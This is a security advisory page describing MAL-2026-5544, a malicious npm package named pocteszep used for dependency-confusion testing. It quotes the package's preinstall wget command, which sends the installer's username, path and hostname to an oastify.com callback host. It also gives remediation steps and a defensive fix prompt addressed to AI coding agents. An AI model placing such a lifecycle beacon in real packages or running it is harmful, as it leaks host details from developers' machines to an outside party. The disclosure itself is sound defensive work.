# MAL-2026-5544: Malicious code in pocteszep (npm)


- **Type:** Malicious package
- **Package:** `pocteszep` (npm)
- **Published:** 11 Jun 2026

## What is MAL-2026-5544?

MAL-2026-5544 is a malicious package in pocteszep, published on 11 Jun 2026. 

### Official description

The package's npm preinstall lifecycle script runs `wget --quiet "http://78dngdm3dhrrj8zgfm4es9m8bzhq5jt8.oastify.com/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)"` (package.json line 8). On `npm install`, before any code review, the installer's username, current working directory, and hostname are sent over plaintext HTTP to a Burp Collaborator (oastify.com) callback subdomain — a typical out-of-band exfiltration channel used in dependency-confusion attacks. The package description self-identifies as a 'Simple PoC package for testing for dependency confusion vulnerabilities,' and the package contains no legitimate functionality beyond the lifecycle beacon. Any installer pulling this package via name-collision with an internal dependency leaks host identity to the attacker.

The OpenSSF Package Analysis project identified 'pocteszep' @ 1.0.2 (npm) as malicious.

It is considered malicious because:

- The package communicates with a domain associated with malicious activity.

- The package executes one or more commands associated with malicious behavior.

## What should I do about MAL-2026-5544?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5544 is a malicious package: pocteszep (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5544/ (Markdown: https://insights.sbomify.com/MAL-2026-5544/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5544

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5544/
Summaries are generated and may contain mistakes; the official description above is the record.